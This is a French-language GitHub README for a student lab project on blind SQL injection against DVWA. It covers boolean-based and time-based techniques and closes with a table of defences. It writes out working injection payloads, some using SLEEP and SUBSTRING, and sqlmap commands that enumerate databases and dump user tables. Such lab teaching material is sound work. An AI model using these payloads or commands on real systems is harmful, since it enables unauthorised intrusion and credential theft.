Skip to content

Kim-San04/Blind-SQL-Injection-Analysis

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 

Repository files navigation

Header

💉 Blind SQL Injection — Analyse & Exploitation

Python SQL OWASP SQLMap Burp Suite

Efrei Type Status

⚠️ Avertissement légal : Ce projet est réalisé dans un environnement de laboratoire contrôlé à des fins strictement pédagogiques.


📖 Introduction

L'injection SQL aveugle (Blind SQL Injection) est une variante critique de l'injection SQL où l'attaquant ne reçoit pas de retour direct des données extraites — il doit inférer les informations à partir des comportements de l'application.

Cette étude couvre deux techniques principales :

  • Boolean-based Blind : exploitation via des conditions vraies/fausses
  • Time-based Blind : exploitation via des délais de réponse

⚙️ Fonctionnement de l'Attaque

Boolean-based Blind SQL Injection

Le principe repose sur l'envoi de requêtes dont le résultat booléen (vrai/faux) est observable dans la réponse de l'application.

-- Test de base : si TRUE, la page s'affiche normalement
' AND 1=1 --

-- Si FALSE, comportement différent (page vide, erreur)
' AND 1=2 --

-- Extraction du nom de la base de données caractère par caractère
' AND SUBSTRING(database(),1,1)='a' --

Time-based Blind SQL Injection

Utilise des fonctions de délai pour inférer des informations sans retour visuel.

-- Si la condition est vraie, délai de 5 secondes
' AND IF(1=1, SLEEP(5), 0) --

-- Extraction du premier caractère du nom d'utilisateur
' AND IF(SUBSTRING(user(),1,1)='r', SLEEP(5), 0) --

🛠️ Exploitation et Exfiltration

Avec SQLMap (automatisé)

# Détection automatique des injections
sqlmap -u "http://target.com/page?id=1" --dbs

# Extraction des tables d'une base
sqlmap -u "http://target.com/page?id=1" -D dvwa --tables

# Exfiltration des données
sqlmap -u "http://target.com/page?id=1" -D dvwa -T users --dump

Avec Burp Suite (manuel)

Utilisation de l'Intruder pour automatiser les tests de caractères et reconstruire les données extraites bit par bit.


📊 Étude de Cas — DVWA (Damn Vulnerable Web Application)

Niveau DVWA Technique Résultat
Low Boolean + Time-based Extraction complète (users, passwords)
Medium Requêtes POST paramétrées Contournement via Burp Suite Intercept
High Tokens CSRF + limites Exploitation via script Python automatisé

🛡️ Méthodes de Protection

Mesure Description
Requêtes préparées PDO::prepare() — séparation code/données
ORM sécurisés Eloquent, Doctrine — abstraction de la base
WAF ModSecurity — filtrage des payloads SQL
Moindre privilège Compte DB en lecture seule si possible
Logs & monitoring Détection des patterns d'injection

🏁 Conclusion

L'injection SQL aveugle reste l'une des vulnérabilités les plus critiques (OWASP A03:2021). Bien que plus lente à exploiter que les injections classiques, elle est tout aussi dangereuse et souvent présente dans des applications jugées "protégées" car elles n'affichent pas d'erreurs SQL.


Portfolio LinkedIn GitHub

Footer

About

Boolean & Time-based Blind SQL Injection — DVWA, SQLMap, Burp Suite | ESMT Dakar

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors